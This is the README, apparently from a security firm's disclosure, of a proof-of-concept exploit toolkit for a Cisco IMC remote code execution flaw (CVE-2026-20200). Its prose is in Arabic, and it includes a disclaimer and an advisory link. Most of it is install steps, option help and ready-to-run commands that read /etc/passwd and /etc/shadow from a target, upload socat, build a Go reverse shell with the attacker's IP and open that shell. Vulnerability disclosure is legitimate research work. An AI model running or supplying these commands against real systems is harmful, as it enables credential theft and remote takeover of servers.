
مجموعة أدوات PoC لاستغلال ثغرة Cisco IMC RCE CVE-2026-20200
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
نشرة: NSIDE-SA-2026-003
تدوينة: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
إثبات المفهوم هذا مخصص لأغراض العرض التوضيحي فقط ولا يُسمح باستخدامه في أنشطة غير قانونية. NSIDE ATTACK LOGIC ليست مسؤولة عن أي ضرر ناتج عن استخدام هذا الكود أو إساءة استخدامه.
يسمح هذا الاستغلال بتنزيل الملفات، ورفع الملفات، وإنشاء قشرة عكسية (reverse shell). وهو يحتوي على عدة ملفات بايثون خاصة بإثبات المفهوم (PoC)، ومجلد shell، ومجلد download.
في المجلد download توضع جميع الملفات التي يتم تنزيلها من الخادم، بأسمائها (مثل /etc/passwd > passwd).
يحتوي المجلد shell على كل ما يلزم للقشرة العكسية. الملف lib.so هو مكتبة صغيرة، مبنية لمعمارية ARM لتنفيذ الثنائي ببساطة على IMC في /tmp/main. الأمر الدقيق المستخدم لبنائها موجود في util.py. كما يحتوي المجلد على reverse_shell.go.example، وهي قشرة عكسية صغيرة بلغة Go، يجب تجميعها مسبقًا لتضمين عنوان IP المحلي الخاص بك المستخدم في القشرة العكسية.
لكي تعمل القشرة العكسية، يجب أولاً بناؤها باستخدام الإجراء -a build.
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
انتبه إلى الحرف الكبير U والحرف الكبير P لاسم المستخدم وكلمة المرور!
python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a build
# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell